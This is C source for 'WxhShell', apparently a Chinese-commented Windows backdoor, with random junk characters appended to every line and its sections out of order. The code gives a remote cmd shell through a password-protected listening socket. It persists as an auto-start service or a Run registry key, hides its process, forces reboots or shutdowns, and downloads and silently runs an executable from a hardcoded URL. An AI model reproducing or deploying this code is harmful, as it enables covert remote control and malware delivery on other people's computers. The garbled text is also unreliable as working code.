    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =8r,-3lC;  
    else { 5hCfi  
    closesocket(wsh); mn<ea&  
    ExitThread(0); 0Z%<H\Z  
    } S!}pL8OE  
    break; 8r\xQr'8h  
    } . 55aY~We  
  // 获取shell jT QN(a9Y  
  case 's': { *OE>gg&?Nh  
    CmdShell(wsh); ~ C_2D?  
    closesocket(wsh); g=v[@{9Pw  
    ExitThread(0); ^eYJ7&t  
    break; C$c.(5/O  
  } ^n]?!BdU  
  // 退出 78b9Sdi&  
  case 'x': { MT&q~jx*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \v9<L'NP)  
    CloseIt(wsh); t^9q>[/d`  
    break; HZ2zL17  
    } N) z] F9Kg  
  // 离开  93 `  
  case 'q': { v#IZSBvuQK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oU 8o;zk0  
    closesocket(wsh); oWOH#w  
    WSACleanup(); p:U{3uN 62  
    exit(1); 3^ &pb  
    break; ]@1ncn7N  
        } RzSN,bL R  
  } p7O4CP>9[  
  } p/s5[>N  
}S&SL)  
  // 提示信息 L/cbq*L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %^ E>~  
} `[1]wV5(5@  
  } [ 06B)|s  
r?2C%GI`  
  return; X4*/h$48 w  
} :Ws3+OI'm3  
Nb{oH+$b  
// shell模块句柄 qm}7w3I^  
int CmdShell(SOCKET sock) 55|$Imnf  
{ C{S6Ri  
STARTUPINFO si; ln!KL'T]  
ZeroMemory(&si,sizeof(si)); }mJ)gK5b 6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B "}GAk}V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I`KN8ll  
PROCESS_INFORMATION ProcessInfo; 9p$q@Bc  
char cmdline[]="cmd"; 8@Km@o]?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J5rR?[i{  
  return 0; WCWBvw4&"{  
} _H3cqD  
r*3XM{bZ/@  
// 自身启动模式 'XQv>J  
int StartFromService(void) A><%"9pZ  
{ +Q_Gm3^  
typedef struct AAl`bhx'n  
{ "ChBcxvxb:  
  DWORD ExitStatus; z?YGE iR/}  
  DWORD PebBaseAddress; T +4!g|Y  
  DWORD AffinityMask; i|d41u;@  
  DWORD BasePriority;  y.eBFf  
  ULONG UniqueProcessId; ;NPb  
  ULONG InheritedFromUniqueProcessId; %r,2ZLZ  
}   PROCESS_BASIC_INFORMATION; hQ8{ A7  
>\p}UPx  
PROCNTQSIP NtQueryInformationProcess; KJkcmF}Q  
@',;/j80  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; da^9Fb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ta 4<d)nB  
Vis?cuU/  
  HANDLE             hProcess; yq,5M1vR  
  PROCESS_BASIC_INFORMATION pbi; @+!d@`w:z2  
9_/1TjrDN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U&a]gkr  
  if(NULL == hInst ) return 0; |)_<JAN  
T<=\5mn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6$5M^3$-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  G0&w#j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mLYB6   
'}Y8a$(;V  
  if (!NtQueryInformationProcess) return 0; 4* hmeS"  
_1 JvA-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hg>YOf&RG  
  if(!hProcess) return 0; ! O>mu6:Rf  
Yr,1##u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tuy*Df  
5astv:p,P  
  CloseHandle(hProcess);  MU^Z*r  
<z4!m/f [(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *ZEs5`x  
if(hProcess==NULL) return 0; pV+;/y_  
Yb\36|  
HMODULE hMod; : R&tO3_F  
char procName[255]; d16 PY_  
unsigned long cbNeeded; /kq~*s  
}R'oAE}$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yI;Qb7|^  
0nd<6S+fs  
  CloseHandle(hProcess); MLb\:Ihy  
G j:|  
if(strstr(procName,"services")) return 1; // 以服务启动 u@3w$"Pv1  
ZtT`_G&  
  return 0; // 注册表启动 x"d*[m  
} j)5Vv K\  
Q&LkST-i  
// 主模块 Ek BM>*W  
int StartWxhshell(LPSTR lpCmdLine) mnia>; 0H  
{ eyWwE%  
  SOCKET wsl; DQ}]'*@?  
BOOL val=TRUE; iB`m!g6$  
  int port=0; oAx0$]+%V)  
  struct sockaddr_in door; WQ]pg "  
3QVng^"B)  
  if(wscfg.ws_autoins) Install(); / u{r5`4  
_ Owz%  
port=atoi(lpCmdLine); NlMx!f>b%/  
3^a"$VW1  
if(port<=0) port=wscfg.ws_port; s'^#[%EgB  
&Hqu`A/^  
  WSADATA data; Lsz`nD5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a`uT'g[*  
\CGcP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x@ O:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $b$D[4  
  door.sin_family = AF_INET; (qrT0D6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9+']`=a:  
  door.sin_port = htons(port); 5W48z%MN  
fYi!Z/Ck2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6M9rC[h\  
closesocket(wsl); H6eGLg={  
return 1; #Grm-W9E  
} L5W>in5(  
$9~1s/('  
  if(listen(wsl,2) == INVALID_SOCKET) { XTJ>y@  
closesocket(wsl); vX\e* v  
return 1; m @%|Q;  
} wMoAvA_oS  
  Wxhshell(wsl); bW]+Og  
  WSACleanup(); +*q@=P,  
G dU W$.  
return 0; %ab79RS]C  
;<A/e  
} Vmc)or*#  
ZJ(!jc$"*%  
// 以NT服务方式启动 Ymu=G3-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 11sW$@xs 9  
{ u/f&Wq/  
DWORD   status = 0; p3o?_ !Z  
  DWORD   specificError = 0xfffffff; 68*{Lo?U  
|*5nr5c_L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4#w^PM8}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gib]#n1!p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kR ]SxG9  
  serviceStatus.dwWin32ExitCode     = 0; !)=o,sVA  
  serviceStatus.dwServiceSpecificExitCode = 0; CmOb+:4@K  
  serviceStatus.dwCheckPoint       = 0; @gc"-V*-/  
  serviceStatus.dwWaitHint       = 0; EoeEg,'~F  
4o3GS8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `N|CL  
  if (hServiceStatusHandle==0) return; %K7}yy&9C  
cw.7YiU  
status = GetLastError(); M\f0 =`g  
  if (status!=NO_ERROR) s|T7)PgR  
{ =.a ]?&Yyh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O@rb4(  
    serviceStatus.dwCheckPoint       = 0; pg)g&ifKl  
    serviceStatus.dwWaitHint       = 0; jxaoQeac  
    serviceStatus.dwWin32ExitCode     = status; v2{s2kB=  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^@2Vh*k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b*KZe[#M1  
    return; W\7*T1TDj  
  } `uHpj`EU  
\irjIXtV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F948%?a  
  serviceStatus.dwCheckPoint       = 0; kVv <tw  
  serviceStatus.dwWaitHint       = 0; xF;v 6d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k;5}@3iQ  
} r.;iO0[/  
Rjl__90  
// 处理NT服务事件,比如:启动、停止 rR~X>+K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $4L3y uH  
{ {6sfa?1j  
switch(fdwControl) Fr3t [:D  
{ /p0LtUMu  
case SERVICE_CONTROL_STOP: us%RQ8=k  
  serviceStatus.dwWin32ExitCode = 0; zQ}N mlk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !++62Lf  
  serviceStatus.dwCheckPoint   = 0; 8zWPb  
  serviceStatus.dwWaitHint     = 0; ;r"B?]JO  
  { em}Qv3*#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J *?_SnZ  
  } Vz]=J;`Mz  
  return; C:MGi7f  
case SERVICE_CONTROL_PAUSE: ^^l"brPa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9G+rxyWMW  
  break; D:tZiS=0  
case SERVICE_CONTROL_CONTINUE: ycD.:w p\'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YCO:bBmp:  
  break; @98SC}}u  
case SERVICE_CONTROL_INTERROGATE: QL18MbfqP  
  break; w tLM c  
}; mtddLd,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  q)+ n2FM  
} :OaQq@V  
1o78e2B  
// 标准应用程序主函数 :0/o?'s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b] ?;R  
{ }Xv1KX'  
1iL xXd  
// 获取操作系统版本 }F6b ]  
OsIsNt=GetOsVer(); G | oG:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }tO<_f))  
PM!t"[@&  
  // 从命令行安装 $i~`vu*  
  if(strpbrk(lpCmdLine,"iI")) Install(); y/hvH"f  
:~R Fy?xRa  
  // 下载执行文件 fcXk]W  
if(wscfg.ws_downexe) { .oN Sg.jG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bCUh^#]x  
  WinExec(wscfg.ws_filenam,SW_HIDE); os^SD&hL  
} M|e n>P  
(Gc`3jJ  
if(!OsIsNt) { l zPS RT  
// 如果时win9x,隐藏进程并且设置为注册表启动 y7EX&  
HideProc(); 1e&b;l'*=  
StartWxhshell(lpCmdLine); ![ID0}MjJ  
} -Bv1}xf=6  
else dt&Lwf/  
  if(StartFromService()) l(\8c><m  
  // 以服务方式启动 ]f-'A>MC  
  StartServiceCtrlDispatcher(DispatchTable); 00a<(sS;  
else #'J7Wy  
  // 普通方式启动 C+m^Z[  
  StartWxhshell(lpCmdLine); -G#@BtB2+  
iiB )/~!O  
return 0; ^i)Q CDU7  
} L00 ;rTs>  
J*KBG2+13  
Tc5OI'-V  
3l(;Pt-yI  
=========================================== ,h.Jfo54,  
yi-"hT`  
BBE1}V!u  
^^3va)1{!  
x][9ptr h  
^1yTL5#:Vw  
" <&EO=A  
"|r^l  
#include <stdio.h> s1 ^mk]  
#include <string.h> !vVjZ  
#include <windows.h> p2DNbY\]  
#include <winsock2.h> Mth`s{sATa  
#include <winsvc.h> @j2*.ee  
#include <urlmon.h> HT=Am  
Yn]y d1  
#pragma comment (lib, "Ws2_32.lib") P| P fG=  
#pragma comment (lib, "urlmon.lib") Iki+5  
) a\DS yr  
#define MAX_USER   100 // 最大客户端连接数 #0<y0uJ(y  
#define BUF_SOCK   200 // sock buffer _.*4Y  
#define KEY_BUFF   255 // 输入 buffer :Z]hI+7  
~7 L)n  
#define REBOOT     0   // 重启 UEQ'D9  
#define SHUTDOWN   1   // 关机 5QFXj)hR+4  
h*%0@  
#define DEF_PORT   5000 // 监听端口 D)ne *},  
6O@ ^`T  
#define REG_LEN     16   // 注册表键长度 m#'rI=}!  
#define SVC_LEN     80   // NT服务名长度 Q1I_=fT  
*5_ 8\7d  
// 从dll定义API y_4krY|Zx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #JR,C -w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c]!D`FA*K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q @OC=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vV\F^  
-,fa{yt-  
// wxhshell配置信息 a.&#dxgW[  
struct WSCFG { . (*kgv@3x  
  int ws_port;         // 监听端口 H^PqYLj N  
  char ws_passstr[REG_LEN]; // 口令 _ kSPUP5  
  int ws_autoins;       // 安装标记, 1=yes 0=no +V+*7s%fL  
  char ws_regname[REG_LEN]; // 注册表键名 r~G]2*3  
  char ws_svcname[REG_LEN]; // 服务名 *[1u[H9Cv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +=*m! 7Mr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &;h~JS=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p1VahjRE-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1s}NQ3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l88a#zUQDN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fzFvfMAU  
@FdCbPl$  
}; JfP\7  
@+\S!o3m  
// default Wxhshell configuration 8}?Y;>s\  
struct WSCFG wscfg={DEF_PORT, 4lh   
    "xuhuanlingzhe", p-'6_\F.Ke  
    1, NzeI/f3K5  
    "Wxhshell", Y:"v=EhB  
    "Wxhshell", ]D) 'I`  
            "WxhShell Service", m!#)JFe67  
    "Wrsky Windows CmdShell Service", M$]O=2h+2  
    "Please Input Your Password: ", B`?N0t%X  
  1, rv%ye H  
  "http://www.wrsky.com/wxhshell.exe", x#j\"$dla  
  "Wxhshell.exe" Msa6yD#  
    }; 4j/iG\  
!G"9xrr1  
// 消息定义模块 bhqq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~ S?-{X+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h\u0{!@}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qzH qj;  
char *msg_ws_ext="\n\rExit."; .KU SNrs'  
char *msg_ws_end="\n\rQuit."; n:bB$Ai2  
char *msg_ws_boot="\n\rReboot..."; [6_Du6\h  
char *msg_ws_poff="\n\rShutdown..."; -Nlf~X  
char *msg_ws_down="\n\rSave to "; 8pq-nuf|K  
lA.;ZD!  
char *msg_ws_err="\n\rErr!"; aO^:dl5  
char *msg_ws_ok="\n\rOK!"; wSJ]3gJM`  
%7(kP}y*  
char ExeFile[MAX_PATH]; Y0 X"Zw  
int nUser = 0; >: W-C{%  
HANDLE handles[MAX_USER]; 4QjWZ Wl  
int OsIsNt; [C+Gmu  
?lc[ hH  
SERVICE_STATUS       serviceStatus; r}y[r}vk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V@f6Lj  
N7~)qqb  
// 函数声明 rZ!Yi*? f  
int Install(void); :<N6i/  
int Uninstall(void); RhV:Z3f`6  
int DownloadFile(char *sURL, SOCKET wsh); &G pA1  
int Boot(int flag); ( *9Ip  
void HideProc(void); M)`HK .  
int GetOsVer(void); U7]<U-.&  
int Wxhshell(SOCKET wsl); }dd k}wga  
void TalkWithClient(void *cs); %7NsBR!y  
int CmdShell(SOCKET sock); W<rTq0~$?  
int StartFromService(void); $@_<$t  
int StartWxhshell(LPSTR lpCmdLine); G+hF [b44'  
Q_QKm0!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >St. &#c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f E.L  
s,$Z ("B  
// 数据结构和表定义 WG8iTVwx  
SERVICE_TABLE_ENTRY DispatchTable[] = tIyuzc~U  
{ CrNwALx  
{wscfg.ws_svcname, NTServiceMain}, `\/toddUh[  
{NULL, NULL} Y(hW(bd;  
}; Vedyy\TU  
$*AC>i\  
// 自我安装 ol$2sI=.s  
int Install(void) >&<<8Ln  
{ p |\%:#  
  char svExeFile[MAX_PATH]; j!lAxlOX  
  HKEY key; @q> ktE_  
  strcpy(svExeFile,ExeFile); V\@jC\-5Vt  
N ;Z`%&  
// 如果是win9x系统,修改注册表设为自启动 *?^Z)C>  
if(!OsIsNt) { Sg.+`xww3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }x kLD!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?~aZ#%*i8  
  RegCloseKey(key); 4-7kS85  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |RR%bQ^{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `%t$s,TiP  
  RegCloseKey(key); A$%Q4jC}  
  return 0; >Lw}KO`  
    } \);.0  
  } VX^o"9Ntl  
} 4pmTicA~  
else { p{ @CoOn  
mVv\bl?<  
// 如果是NT以上系统,安装为系统服务 G}!7tU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OuOk=  
if (schSCManager!=0) k]SAJ~bS|  
{ Lh8bQH  
  SC_HANDLE schService = CreateService =ze FK_S!  
  ( %6NO0 F^  
  schSCManager, . ]o3A8  
  wscfg.ws_svcname, zH)cU%I@.  
  wscfg.ws_svcdisp, ~Na=+}.q_  
  SERVICE_ALL_ACCESS, a -xW8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XJx,9trH  
  SERVICE_AUTO_START, $nB-ADRu@  
  SERVICE_ERROR_NORMAL, !;o\5x<'$O  
  svExeFile, 24T@N~\g  
  NULL, $?FS00p*|X  
  NULL, xab]q$n]k  
  NULL, 87QZun%  
  NULL, ="uKWt6n'  
  NULL V I6\   
  ); eecw]P_?  
  if (schService!=0) CY*ngi&  
  { EKZ$Q4YE  
  CloseServiceHandle(schService); s<A*[  
  CloseServiceHandle(schSCManager); Q~fwWp-J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DE*MdfP0  
  strcat(svExeFile,wscfg.ws_svcname); *0%4l_i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )n\*ht7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SU?wFCGT%  
  RegCloseKey(key); gw_|C|!P  
  return 0; p= !#],[  
    } `9.dgV  
  } I2TD.wuIW  
  CloseServiceHandle(schSCManager); mD9STuA$H  
} KxO/]  
} )46 0 Ed  
rkxW UDl   
return 1; :{[<g](  
} cu[!D}tVU  
5^)?mA  
// 自我卸载 #v.L$7O  
int Uninstall(void) \'n$&PFe  
{  MKU7fFN.  
  HKEY key; u-m%=2  
Q`H# fS~  
if(!OsIsNt) { '5'3_vM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { No:^hY:F8  
  RegDeleteValue(key,wscfg.ws_regname); wA?@v|,dZ  
  RegCloseKey(key); [^<SLTev  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !8.En8Z<D-  
  RegDeleteValue(key,wscfg.ws_regname); B{s]juPG  
  RegCloseKey(key); f#@S*^%V$  
  return 0; '@'B>7C#  
  } 7t'(`A 6t/  
} |q3f]T&+>{  
} mO#I nTO  
else { ]#F q>E  
Mv|vRx^b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p1+7 <Y:  
if (schSCManager!=0) |y.zo cBj  
{ r=h8oUNEJ*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K!GUv{fp  
  if (schService!=0) Z[Wlyb0  
  { |5W8Q|>%  
  if(DeleteService(schService)!=0) { ,{?wKXJ}L!  
  CloseServiceHandle(schService); @4;&hP2Z:  
  CloseServiceHandle(schSCManager); @gNpJB]V  
  return 0; ~eDI$IO  
  } K} +S+ *_  
  CloseServiceHandle(schService); 5N\+@grp  
  } 8KFj<N>'  
  CloseServiceHandle(schSCManager); {={^6@  
} P3G:th@j=  
} aSUsyOe  
l1&5uwuF  
return 1; 4<u;a46Z#M  
} : (cb2j(C  
:3v9h^|+  
// 从指定url下载文件 <nBo}0O}  
int DownloadFile(char *sURL, SOCKET wsh) PNf&@  
{ Y+FP   
  HRESULT hr; QV0M/k<'  
char seps[]= "/"; @|DmE!)  
char *token; pjACFVMFX  
char *file; zt?h^zf}  
char myURL[MAX_PATH]; 0A.PD rM:  
char myFILE[MAX_PATH]; 2xDQ :=ec  
J==}QEhQ{  
strcpy(myURL,sURL); ?FN9rhAC  
  token=strtok(myURL,seps); j~epbl)pC  
  while(token!=NULL) B22b&0  
  { [a@ B =E  
    file=token; ' PELf P8  
  token=strtok(NULL,seps); >)LAjwhBp  
  } a2o.a 2  
>rKhlUD  
GetCurrentDirectory(MAX_PATH,myFILE); zhX;6= X2  
strcat(myFILE, "\\"); 7{-@}j`  
strcat(myFILE, file); X<Z(]`i  
  send(wsh,myFILE,strlen(myFILE),0); _ \l HI  
send(wsh,"...",3,0); K5{{:NR$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /u=aX  
  if(hr==S_OK) H<,bq*@  
return 0; Uj,g]e 8e  
else okz]Qc>G  
return 1; EY~7oNfc`R  
! tGiTzzp  
} UxeL cUP  
ABcBEv3  
// 系统电源模块 [m\,+lG?)j  
int Boot(int flag) 8'KMxR  
{ iX{H,- C  
  HANDLE hToken; fWj@e"G  
  TOKEN_PRIVILEGES tkp; X@!X6j  
hfg O  
  if(OsIsNt) { 7%4.b7Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 45) D+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); };rm3;~ eg  
    tkp.PrivilegeCount = 1; )6=gooe]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GMdI0jaG#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AF GwT%ZD  
if(flag==REBOOT) { ]U[&uymax  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =5ug\S  
  return 0; @ u+|=x];  
} ZOuR"9]  
else { )!eEO [\d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &Pq\cNYzW  
  return 0; HyEa_9  
} G?<pBMy  
  } LJWTSf"f?  
  else { _dr*`yXi  
if(flag==REBOOT) { frc{>u~t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E67XPvo1+@  
  return 0; MKC$;>i  
} V\AK6U@r^  
else { 0~]QIdu{AR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V9T 4 +  
  return 0; N<liS3>  
} $@2"{9Z  
} WNa3^K/W{  
^X &)'H  
return 1; &dRjqn^&X  
} ra:GzkIw  
:CTL)ad2  
// win9x进程隐藏模块 MtUY?O.P2  
void HideProc(void) &2{]hRM  
{ c|lU(Tf  
#W|!fILL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IBET'!j4"  
  if ( hKernel != NULL ) 4UD' %}>y  
  { fLNag~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o8{<qn|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (@q3^)I4  
    FreeLibrary(hKernel); )[jy[[K(  
  } >rw"Rd'  
nLJBq)i  
return; _R74/|  
} p+[} Hxx=  
u s`}  
// 获取操作系统版本 @6b[GekZ<  
int GetOsVer(void) Q>=-ext}q  
{ cy3M^_5B<  
  OSVERSIONINFO winfo; fK_~lGY(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;Iq5|rzDn  
  GetVersionEx(&winfo); 6m+W#]^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [))JX"a  
  return 1; _2OuskL  
  else -!TcQzHUs  
  return 0; D0ruTS  
} TsD;Kl1  
A"4@L*QV  
// 客户端句柄模块 3ji:O T  
int Wxhshell(SOCKET wsl) + |C=ZU  
{ ^f|<R8`  
  SOCKET wsh; -~O/NX  
  struct sockaddr_in client; V#J"c8n  
  DWORD myID; J`<f  
X+iK<F$  
  while(nUser<MAX_USER) !M(:U,?B  
{ 0`n 5x0R  
  int nSize=sizeof(client); 8=F%+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jDTUXwx7V  
  if(wsh==INVALID_SOCKET) return 1; hnzNP\$U]  
"PzP; Br  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DA=1KaJ.  
if(handles[nUser]==0) B< hEx@  
  closesocket(wsh); gxmc|  
else oZ:{@ =  
  nUser++; ?Y3@"rdR  
  } m}5q]N";x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \_VmY!I5\  
nxQ}&n  
  return 0; gS$A   
} yM ,VrUh  
<%KUdkzEP  
// 关闭 socket ? )_7U  
void CloseIt(SOCKET wsh) ^ ulps**e  
{ K-(;D4/sQE  
closesocket(wsh); d>!p=O`>{q  
nUser--; {/ &B!zvl  
ExitThread(0); 5v9uHxy  
} S}7>RHe  
RmOyGSO  
// 客户端请求句柄 4seciz0?  
void TalkWithClient(void *cs) f#P_xn&et  
{ -H\,2FO  
O2v.  
  SOCKET wsh=(SOCKET)cs; 5pJ*1pfeo  
  char pwd[SVC_LEN]; ]XUSqai  
  char cmd[KEY_BUFF]; l1<?ONB.#  
char chr[1]; GwQn;gkF  
int i,j; $]*d#`Sy{%  
~/|zlu*jpc  
  while (nUser < MAX_USER) { _tj&Psp  
gs`> C(  
if(wscfg.ws_passstr) { [5Y<7DS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <&U!N'CE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (WE,dY+.  
  //ZeroMemory(pwd,KEY_BUFF); }-p,iTm  
      i=0; zu<3^=3  
  while(i<SVC_LEN) { @^? XaU  
YwAnqAg  
  // 设置超时 |Q!4GeQL[  
  fd_set FdRead; p)/ p!d[T/  
  struct timeval TimeOut; 'qy#)F  
  FD_ZERO(&FdRead); 7lU.Ni t  
  FD_SET(wsh,&FdRead); o.^y1mH'  
  TimeOut.tv_sec=8; 2U9&l1P=  
  TimeOut.tv_usec=0; ` X}85  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); / Z!i;@Wf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D$nK`r  
K"l0w**Og#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @\}YAa>>"I  
  pwd=chr[0]; @ Nb%L&=P8  
  if(chr[0]==0xd || chr[0]==0xa) { X/+OF'po  
  pwd=0; 0{R/<N  
  break; CgnXr/!L  
  } VXIQw' Cq  
  i++; XP;x@I#l  
    } ~>%DKJe  
Zq*eX\#C  
  // 如果是非法用户,关闭 socket 3k' .(P|F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A1A3~9HuK  
} 5f{|"LG&  
8R xc&`_X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #J$qa Ul  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); " s]y!BLk  
Z@J.1SaB  
while(1) { l2&hBacT  
&qRJceT(  
  ZeroMemory(cmd,KEY_BUFF); #D)x}#V\  
}.{}A(^YR  
      // 自动支持客户端 telnet标准   9;KJr[FQV  
  j=0; j|K.i/  
  while(j<KEY_BUFF) { Coa-8j*R7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @J vZ[T/  
  cmd[j]=chr[0]; ~O4|KY  
  if(chr[0]==0xa || chr[0]==0xd) { ~L4eZ  
  cmd[j]=0; D;js.ZF  
  break; Y\?j0X;  
  } arh@`'Q  
  j++; |F!F{d^p  
    } E _iO@  
mU G %LM  
  // 下载文件 8QF`,oXQO  
  if(strstr(cmd,"http://")) { 7GZq|M_:y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z2p> n`D  
  if(DownloadFile(cmd,wsh)) +t]Xj1Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3s(Ia^  
  else ("Dv>&w9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T[.[ g/`  
  } xb$yu.c  
  else { yFM>T\@  
i_U}{|j  
